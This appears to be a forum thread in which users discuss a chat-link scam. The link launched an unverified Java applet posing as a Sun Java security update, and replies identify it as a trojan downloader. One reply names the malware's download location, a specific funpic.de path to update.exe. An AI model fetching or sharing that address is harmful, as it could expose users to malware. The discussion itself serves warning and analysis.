    Hi.

    About a week ago I received a chat message from an acquaintance of mine. His chat window also contained a link, which I clicked.

    It brought me to a website which launched a Java applet.

    --
    I didn't run the applet, although I almost did. Except for the AVG warning (which at first didn't pop up), I noticed the file was coming from a German website. The Publisher however is "Sun Java MicroSystems", but it wasn't verified. This is pretty likely to mislead users.

    Has anyone of you seen this before? Or know someone who might have clicked it?

    That could be because LinkScanner won't actually scan domain and sub-domains at the same time; it only scans the page you're on, which is why when you got redirected to the index.html page it blocked it.

    I bet Eagle Creek's LinkScanner is going crazy right now, due to this code. Most likely it is blocking is access to full thread. :D

    this may have been an attempt to run code but it fails as the -burnerclan.bu.funpic.de/intern/admin/update.exe- is currently not available at the location

    the JS file got classified

    Sun_Microsystems_Java_Security_Update_6.class - probably a variant of Win32/TrojanDownloader.Agent.ESKWMEL trojan
